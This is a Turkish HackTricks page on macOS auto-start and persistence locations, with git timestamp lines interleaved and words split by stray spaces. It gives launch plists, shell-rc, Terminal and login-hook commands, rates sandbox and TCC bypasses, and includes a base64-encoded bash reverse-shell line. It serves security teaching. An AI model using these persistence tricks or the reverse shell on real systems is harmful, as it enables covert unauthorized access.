2024-09-21 18:25:13 +00:00
# macOS Auto Start
2023-06-01 21:09:46 +00:00
2024-07-18 17:54:59 +00:00
{% hint style="success" %}
2024-09-21 18:25:13 +00:00
AWS Hacking'i öğrenin ve pratik yapı n:< img src = "../.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "../.gitbook/assets/arte.png" alt = "" data-size = "line" > \
GCP Hacking'i öğrenin ve pratik yapı n: < img src = "../.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "../.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2023-06-01 21:09:46 +00:00
2024-07-18 17:54:59 +00:00
< details >
2023-06-01 21:09:46 +00:00
2024-07-18 17:54:59 +00:00
< summary > HackTricks'i Destekleyin< / summary >
2023-12-30 20:49:49 +00:00
2024-09-21 18:25:13 +00:00
* [**abonelik planları nı ** ](https://github.com/sponsors/carlospolop ) kontrol edin!
* **💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) katı lı n ya da **Twitter'da** **bizi takip edin** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Hacking ipuçları nı paylaşmak için** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github reposuna PR gönderin.
2023-06-01 21:09:46 +00:00
< / details >
2024-07-18 17:54:59 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
Bu bölüm, [**Eski İyi LaunchAgents'in Ötesinde** ](https://theevilbit.github.io/beyond/ ) blog serisine dayanmaktadı r, amacı **daha fazla Otomatik Başlatma Yeri** eklemek (mümkünse), **hangi tekniklerin hala çalı ştı ğı nı ** belirtmek ve **gerekli izinleri** belirtmektir.
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
## Sandbox Bypass
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-09-21 18:25:13 +00:00
Burada, **sandbox bypass** için yararlı başlangı ç yerlerini bulabilirsiniz; bu, bir şeyi **bir dosyaya yazarak** ve çok **yaygı n** bir **hareket** , belirli bir **zaman aralı ğı ** veya genellikle bir sandbox içinde **root izinlerine ihtiyaç duymadan** gerçekleştirebileceğiniz bir **hareket** bekleyerek basitçe çalı ştı rmanı za olanak tanı r.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
### Launchd
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için yararlı dı r: [✅ ](https://emojipedia.org/check-mark-button )
* TCC Bypass: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
#### Yerler
2023-09-28 15:09:34 +00:00
* **`/Library/LaunchAgents`**
2024-05-05 22:43:52 +00:00
* **Tetikleyici**: Yeniden başlatma
2024-09-21 18:25:13 +00:00
* Root gerekli
2023-09-28 15:09:34 +00:00
* **`/Library/LaunchDaemons`**
2024-05-05 22:43:52 +00:00
* **Tetikleyici**: Yeniden başlatma
2024-09-21 18:25:13 +00:00
* Root gerekli
2023-09-28 15:09:34 +00:00
* **`/System/Library/LaunchAgents`**
2024-05-05 22:43:52 +00:00
* **Tetikleyici**: Yeniden başlatma
2024-09-21 18:25:13 +00:00
* Root gerekli
2023-09-28 15:09:34 +00:00
* **`/System/Library/LaunchDaemons`**
2024-05-05 22:43:52 +00:00
* **Tetikleyici**: Yeniden başlatma
2024-09-21 18:25:13 +00:00
* Root gerekli
2023-09-28 15:09:34 +00:00
* **`~/Library/LaunchAgents`**
2024-09-21 18:25:13 +00:00
* **Tetikleyici**: Yeniden giriş
2023-09-28 15:09:34 +00:00
* **`~/Library/LaunchDemons`**
2024-09-21 18:25:13 +00:00
* **Tetikleyici**: Yeniden giriş
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
{% hint style="success" %}
2024-09-21 18:25:13 +00:00
İlginç bir gerçek olarak, ** `launchd` **'nin Mach-o bölümünde `__Text.__config` içinde gömülü bir özellik listesi vardı r; bu, launchd'nin başlatması gereken diğer bilinen hizmetleri içerir. Ayrı ca, bu hizmetler `RequireSuccess` , `RequireRun` ve `RebootOnSuccess` içerebilir; bu, bunları n çalı ştı rı lması ve başarı yla tamamlanması gerektiği anlamı na gelir.
2024-07-17 18:36:54 +00:00
2024-09-21 18:25:13 +00:00
Elbette, kod imzalamadan dolayı değiştirilemez.
2024-07-17 18:36:54 +00:00
{% endhint %}
2024-09-21 18:25:13 +00:00
#### Açı klama & Sömürü
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
**`launchd`**, OX S çekirdeği tarafı ndan başlatı ldı ğı nda **ilk** **işlem** ve kapatı ldı ğı nda son biten işlemdir. Her zaman **PID 1** 'e sahip olmalı dı r. Bu işlem, **ASEP** **plist'lerinde belirtilen yapı landı rmaları **okuyacak ve çalı ştı racaktı r** :
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
* `/Library/LaunchAgents` : Yönetici tarafı ndan kurulan kullanı cı başı na ajanlar
* `/Library/LaunchDaemons` : Yönetici tarafı ndan kurulan sistem genelinde daemonlar
2024-02-13 00:51:21 +00:00
* `/System/Library/LaunchAgents` : Apple tarafı ndan sağlanan kullanı cı başı na ajanlar.
2024-09-21 18:25:13 +00:00
* `/System/Library/LaunchDaemons` : Apple tarafı ndan sağlanan sistem genelinde daemonlar.
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
Bir kullanı cı oturum açtı ğı nda, `/Users/$USER/Library/LaunchAgents` ve `/Users/$USER/Library/LaunchDemons` içindeki plist'ler **giriş yapan kullanı cı ları n izinleriyle** başlatı lı r.
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
Ajanlar ve daemonlar arası ndaki **ana fark, ajanları n kullanı cı oturum açtı ğı nda yüklenmesi ve daemonları n sistem başlangı cı nda yüklenmesidir** (herhangi bir kullanı cı nı n sisteme erişmeden önce çalı ştı rı lması gereken ssh gibi hizmetler vardı r). Ayrı ca, ajanlar GUI kullanabilirken, daemonlar arka planda çalı şmalı dı r.
2023-06-01 21:09:46 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > Label< / key >
< string > com.apple.someidentifier< / string >
< key > ProgramArguments< / key >
< array >
< string > bash -c 'touch /tmp/launched'< / string > <!-- Prog to execute -->
< / array >
< key > RunAtLoad< / key > < true / > <!-- Execute at system startup -->
< key > StartInterval< / key >
< integer > 800< / integer > <!-- Execute each 800s -->
< key > KeepAlive< / key >
< dict >
< key > SuccessfulExit< / key > < / false > <!-- Re - execute if exit unsuccessful -->
<!-- If previous is true, then re - execute in successful exit -->
< / dict >
2023-06-01 21:09:46 +00:00
< / dict >
< / plist >
```
2024-09-21 18:25:13 +00:00
Bir **ajanı n kullanı cı girişinden önce çalı ştı rı lması gereken** durumlar vardı r, bunlara **PreLoginAgents** denir. Örneğin, bu, girişte yardı mcı teknolojiyi sağlamak için faydalı dı r. Ayrı ca `/Library/LaunchAgents` içinde bulunabilirler (örneğin, [**burada** ](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents ) bir örnek).
2023-06-01 21:09:46 +00:00
2023-09-28 15:09:34 +00:00
{% hint style="info" %}
2024-09-21 18:25:13 +00:00
Yeni Daemon veya Ajan yapı landı rma dosyaları **bir sonraki yeniden başlatmadan sonra veya** `launchctl load <target.plist>` kullanı larak **yüklenir** . **O uzantı ya sahip olmayan .plist dosyaları nı yüklemek de mümkündür** `launchctl -F <file>` ile (ancak bu plist dosyaları yeniden başlatmadan sonra otomatik olarak yüklenmeyecektir).\
Ayrı ca **boşaltmak** da mümkündür `launchctl unload <target.plist>` (ona işaret eden süreç sonlandı rı lacaktı r),
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
Bir **Ajanı n** veya **Daemonun** **çalı şması nı ** **engelleyen** herhangi bir şeyin (örneğin bir geçersiz kı lma) olmadı ğı ndan **emin olmak için** şunu çalı ştı rı n: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
2023-09-28 15:09:34 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
Mevcut kullanı cı tarafı ndan yüklenen tüm ajanları ve daemonları listeleyin:
2023-06-01 21:09:46 +00:00
```bash
launchctl list
```
2023-11-02 16:52:21 +00:00
{% hint style="warning" %}
2024-09-21 18:25:13 +00:00
Eğer bir plist bir kullanı cı ya aitse, sistem genelinde bir daemon klasöründe olsa bile, **görev kullanı cı olarak çalı ştı rı lacaktı r** ve root olarak değil. Bu, bazı ayrı calı k yükseltme saldı rı ları nı önleyebilir.
2023-11-02 16:52:21 +00:00
{% endhint %}
2024-09-21 18:25:13 +00:00
#### launchd hakkı nda daha fazla bilgi
2024-07-17 18:36:54 +00:00
2024-09-21 18:25:13 +00:00
**`launchd`**, **kernel** 'den başlatı lan **ilk** kullanı cı modu sürecidir. Sürecin başlaması **başarı lı ** olmalı ve **çı kmamalı veya çökmemelidir** . Hatta bazı **öldürme sinyallerine** karşı **korunmaktadı r** .
2024-07-17 18:36:54 +00:00
2024-09-21 18:25:13 +00:00
`launchd` 'nin yapacağı ilk şeylerden biri, aşağı daki gibi tüm **daemon'ları ** **başlatmak** olacaktı r:
2024-07-17 18:36:54 +00:00
2024-09-21 18:25:13 +00:00
* **Zamanlayı cı daemon'ları **:
* atd (`com.apple.atrun.plist`): 30 dakika `StartInterval` 'a sahiptir
* crond (`com.apple.systemstats.daily.plist`): 00:15'te başlamak için `StartCalendarInterval` 'a sahiptir
* **Ağ daemon'ları **:
* `org.cups.cups-lpd` : TCP'de (`SockType: stream`) `SockServiceName: printer` ile dinler
* SockServiceName ya bir port ya da `/etc/services` 'den bir hizmet olmalı dı r
* `com.apple.xscertd.plist` : 1640 portunda TCP'de dinler
* **Belirli bir yol değiştiğinde çalı ştı rı lan yol daemon'ları **:
* `com.apple.postfix.master` : `/etc/postfix/aliases` yolunu kontrol eder
* **IOKit bildirim daemon'ları **:
* `com.apple.xartstorageremoted` : `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...`
* **Mach portu:**
* `com.apple.xscertd-helper.plist` : `MachServices` girişinde `com.apple.xscertd.helper` adı nı belirtmektedir
* **UserEventAgent:**
* Bu, önceki olandan farklı dı r. launchd'yi belirli bir olaya yanı t olarak uygulamaları başlatması için kullanı r. Ancak, bu durumda, ilgili ana ikili dosya `launchd` değil, `/usr/libexec/UserEventAgent` 'dir. /System/Library/UserEventPlugins/ dizininden SIP kı sı tlı klasöründen eklentileri yükler; her eklenti, `XPCEventModuleInitializer` anahtarı nda veya daha eski eklentiler durumunda, `Info.plist` 'inin `FB86416D-6164-2070-726F-70735C216EC0` anahtarı ndaki `CFPluginFactories` sözlüğünde başlatı cı sı nı belirtir.
2024-07-17 18:36:54 +00:00
2024-09-21 18:25:13 +00:00
### shell başlangı ç dosyaları
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0001/ ](https://theevilbit.github.io/beyond/beyond\_0001/ )\
Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/ ](https://theevilbit.github.io/beyond/beyond\_0018/ )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlamak için yararlı dı r: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-10 18:14:16 +00:00
* TCC Atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-09-21 18:25:13 +00:00
* Ancak, bu dosyaları yükleyen bir shell'i çalı ştı ran bir TCC atlatma uygulaması bulmanı z gerekiyor
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konumlar
2023-09-28 15:09:34 +00:00
2023-12-30 00:49:26 +00:00
* **`~/.zshrc`, `~/.zlogin` , `~/.zshenv.zwc` **, ** `~/.zshenv` , `~/.zprofile` **
2024-09-21 18:25:13 +00:00
* **Tetikleyici**: zsh ile bir terminal aç
2023-09-28 15:09:34 +00:00
* **`/etc/zshenv`, `/etc/zprofile` , `/etc/zshrc` , `/etc/zlogin` **
2024-09-21 18:25:13 +00:00
* **Tetikleyici**: zsh ile bir terminal aç
* Root gereklidir
2023-09-28 15:09:34 +00:00
* **`~/.zlogout`**
2024-09-21 18:25:13 +00:00
* **Tetikleyici**: zsh ile bir terminalden çı k
2023-09-28 15:09:34 +00:00
* **`/etc/zlogout`**
2024-09-21 18:25:13 +00:00
* **Tetikleyici**: zsh ile bir terminalden çı k
* Root gereklidir
* Potansiyel olarak daha fazlası : ** `man zsh` **
2023-09-28 15:09:34 +00:00
* **`~/.bashrc`**
2024-09-21 18:25:13 +00:00
* **Tetikleyici**: bash ile bir terminal aç
2024-02-10 18:14:16 +00:00
* `/etc/profile` (çalı şmadı )
* `~/.profile` (çalı şmadı )
2023-09-28 15:09:34 +00:00
* `~/.xinitrc` , `~/.xserverrc` , `/opt/X11/etc/X11/xinit/xinitrc.d/`
2024-09-21 18:25:13 +00:00
* **Tetikleyici**: xterm ile tetiklenmesi bekleniyor, ancak **kurulu değil** ve kurulduktan sonra bile bu hata veriliyor: xterm: `DISPLAY is not set`
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
#### Açı klama & Sömürü
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
`zsh` veya `bash` gibi bir shell ortamı başlatı ldı ğı nda, **belirli başlangı ç dosyaları çalı ştı rı lı r** . macOS şu anda varsayı lan shell olarak `/bin/zsh` kullanmaktadı r. Bu shell, Terminal uygulaması başlatı ldı ğı nda veya bir cihaza SSH ile erişildiğinde otomatik olarak erişilir. `bash` ve `sh` de macOS'ta mevcut olsa da, kullanı lmak için açı kça çağrı lmaları gerekir.
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
`man zsh` ile okuyabileceğimiz zsh'nin man sayfası , başlangı ç dosyaları hakkı nda uzun bir açı klama içermektedir.
2023-09-28 15:09:34 +00:00
```bash
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
```
2024-02-10 18:14:16 +00:00
### Yeniden Açı lan Uygulamalar
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-09-21 18:25:13 +00:00
Belirtilen istismar yapı landı rması ve oturumu kapatı p açma veya hatta yeniden başlatma benim için uygulamayı çalı ştı rmadı . (Uygulama çalı ştı rı lmı yordu, belki bu eylemler gerçekleştirilirken çalı şı yor olması gerekiyor)
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
**Yazı m**: [https://theevilbit.github.io/beyond/beyond\_0021/ ](https://theevilbit.github.io/beyond/beyond\_0021/ )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlamak için yararlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist`**
2024-09-21 18:25:13 +00:00
* **Tetikleyici**: Uygulamaları yeniden açmak için yeniden başlatma
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
#### Açı klama & İstismar
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
Yeniden açı lacak tüm uygulamalar plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist` içinde yer almaktadı r.
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
Bu nedenle, yeniden açı lan uygulamaları n kendi uygulamanı zı başlatması nı sağlamak için, **uygulamanı zı listeye eklemeniz** yeterlidir.
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
UUID, o dizini listeleyerek veya `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` komutuyla bulunabilir.
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
Yeniden açı lacak uygulamaları kontrol etmek için şunu yapabilirsiniz:
2023-09-28 20:05:35 +00:00
```bash
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist
2023-09-28 15:09:34 +00:00
```
2024-09-21 18:25:13 +00:00
Bu listeye **bir uygulama eklemek için** şunu kullanabilirsiniz:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
2024-02-10 18:14:16 +00:00
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist
2023-09-28 15:09:34 +00:00
```
2024-02-10 18:14:16 +00:00
### Terminal Tercihleri
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için yararlı dı r: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-09-21 18:25:13 +00:00
* Terminal, kullanı cı nı n FDA izinlerine sahip olması nı sağlar
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-10-01 18:04:16 +00:00
* **`~/Library/Preferences/com.apple.Terminal.plist`**
2024-09-21 18:25:13 +00:00
* **Tetikleyici**: Terminal'i aç
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:13 +00:00
#### Açı klama & Sömürü
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
**`~/Library/Preferences`** içinde, Kullanı cı 'nı n Uygulamaları ndaki tercihleri saklanı r. Bu tercihlerden bazı ları **diğer uygulamaları /scriptleri çalı ştı rmak için bir yapı landı rma** içerebilir.
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Örneğin, Terminal bir komutu Başlangı çta çalı ştı rabilir:
2023-09-28 15:09:34 +00:00
2024-05-05 22:43:52 +00:00
< figure > < img src = "../.gitbook/assets/image (1148).png" alt = "" width = "495" > < figcaption > < / figcaption > < / figure >
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
Bu yapı landı rma ** `~/Library/Preferences/com.apple.Terminal.plist` ** dosyası nda şu şekilde yansı tı lı r:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
[...]
"Window Settings" => {
2024-02-10 18:14:16 +00:00
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
2023-09-28 20:05:35 +00:00
[...]
2023-09-28 15:09:34 +00:00
```
2024-09-21 18:25:13 +00:00
Yani, sistemdeki terminalin tercihleri plist'i üzerine yazı labilirse, ** `open` ** işlevi kullanı larak **terminal açı labilir ve o komut çalı ştı rı lacaktı r** .
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Bunu cli üzerinden ekleyebilirsiniz:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
# Add
2023-09-28 20:05:35 +00:00
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
2023-09-28 15:09:34 +00:00
# Remove
2023-09-28 20:05:35 +00:00
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
2023-09-28 15:09:34 +00:00
```
{% endcode %}
2024-09-21 18:25:13 +00:00
### Terminal Scriptleri / Diğer dosya uzantı ları
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için yararlı dı r: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-10 18:14:16 +00:00
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-09-21 18:25:13 +00:00
* Terminal, kullanı cı nı n FDA izinlerine sahip olması için kullanı lı r
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:13 +00:00
* **Her yerde**
* **Tetikleyici**: Terminal'i aç
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:13 +00:00
#### Açı klama & Sömürü
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:13 +00:00
Eğer bir [**`.terminal`** scripti ](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx ) oluşturursanı z ve açarsanı z, **Terminal uygulaması ** orada belirtilen komutları yürütmek için otomatik olarak çağrı lacaktı r. Eğer Terminal uygulaması bazı özel ayrı calı klara sahipse (örneğin TCC), komutunuz bu özel ayrı calı klarla çalı ştı rı lacaktı r.
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:13 +00:00
Bunu deneyin:
2023-10-01 18:04:16 +00:00
```bash
# Prepare the payload
cat > /tmp/test.terminal < < EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > CommandString< / key >
< string > mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;< / string >
< key > ProfileCurrentVersion< / key >
< real > 2.0600000000000001< / real >
< key > RunCommandAsShell< / key >
< false / >
< key > name< / key >
< string > exploit< / string >
< key > type< / key >
< string > Window Settings< / string >
2023-10-01 18:04:16 +00:00
< / dict >
< / plist >
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
< string > echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;< / string >
```
2024-09-21 18:25:13 +00:00
You could also use the extensions ** `.command` **, ** `.tool` **, with regular shell scripts content and they will be also opened by Terminal.
{% hint style="danger" %}
Eğer terminalin **Tam Disk Erişimi** varsa, bu işlemi tamamlayabilecektir (çalı ştı rı lan komutun bir terminal penceresinde görünür olacağı nı unutmayı n).
{% endhint %}
2024-02-10 18:14:16 +00:00
### Ses Eklentileri
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0013/ ](https://theevilbit.github.io/beyond/beyond\_0013/ )\
Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882 ](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882 )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için yararlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* TCC atlatma: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-09-21 18:25:13 +00:00
* Ekstra TCC erişimi alabilirsiniz
2023-12-30 00:49:26 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
* **`/Library/Audio/Plug-Ins/HAL`**
2024-09-21 18:25:13 +00:00
* Root gerekli
* **Tetikleyici**: coreaudiod'u veya bilgisayarı yeniden başlat
2023-09-28 20:05:35 +00:00
* **`/Library/Audio/Plug-ins/Components`**
2024-09-21 18:25:13 +00:00
* Root gerekli
* **Tetikleyici**: coreaudiod'u veya bilgisayarı yeniden başlat
2023-09-28 20:05:35 +00:00
* **`~/Library/Audio/Plug-ins/Components`**
2024-09-21 18:25:13 +00:00
* **Tetikleyici**: coreaudiod'u veya bilgisayarı yeniden başlat
2023-09-28 20:05:35 +00:00
* **`/System/Library/Components`**
2024-09-21 18:25:13 +00:00
* Root gerekli
* **Tetikleyici**: coreaudiod'u veya bilgisayarı yeniden başlat
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
Önceki yazı lara göre, **bazı ses eklentilerini derlemek** ve yüklemek mümkündür.
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
### QuickLook Eklentileri
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/ ](https://theevilbit.github.io/beyond/beyond\_0028/ )
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için yararlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* TCC atlatma: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-09-21 18:25:13 +00:00
* Ekstra TCC erişimi alabilirsiniz
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* `/System/Library/QuickLook`
* `/Library/QuickLook`
* `~/Library/QuickLook`
* `/Applications/AppNameHere/Contents/Library/QuickLook/`
* `~/Applications/AppNameHere/Contents/Library/QuickLook/`
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
#### Açı klama & Sömürü
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
QuickLook eklentileri, bir dosyanı n **önizlemesini tetiklediğinizde** (Finder'da dosya seçili iken boşluk tuşuna basarak) ve o dosya türünü destekleyen bir **eklenti yüklüyse** çalı ştı rı labilir.
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Kendi QuickLook eklentinizi derlemek, onu önceki konumlardan birine yerleştirmek ve ardı ndan desteklenen bir dosyaya gidip tetiklemek için boşluk tuşuna basmak mümkündür.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
### ~~Giriş/Çı kı ş Kancaları ~~
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-09-21 18:25:13 +00:00
Bu benim için çalı şmadı , ne kullanı cı Giriş Kancası ne de root Çı kı ş Kancası ile
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-09-21 18:25:13 +00:00
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/ ](https://theevilbit.github.io/beyond/beyond\_0022/ )
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için yararlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
* `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` gibi bir şeyi çalı ştı rabilmeniz gerekiyor
2024-07-17 18:36:54 +00:00
* `~/Library/Preferences/com.apple.loginwindow.plist` içinde bulunur
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Kullanı mdan kaldı rı lmı ştı r ancak bir kullanı cı giriş yaptı ğı nda komutları çalı ştı rmak için kullanı labilir.
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
cat > $HOME/hook.sh < < EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
2023-09-28 15:09:34 +00:00
```
2024-09-21 18:25:13 +00:00
Bu ayar `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` içinde saklanı r.
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
2024-02-10 18:14:16 +00:00
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
2023-09-28 20:05:35 +00:00
}
2023-09-28 15:09:34 +00:00
```
2024-09-21 18:25:13 +00:00
Bunu silmek için:
2023-09-28 20:05:35 +00:00
```bash
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
```
2024-09-21 18:25:13 +00:00
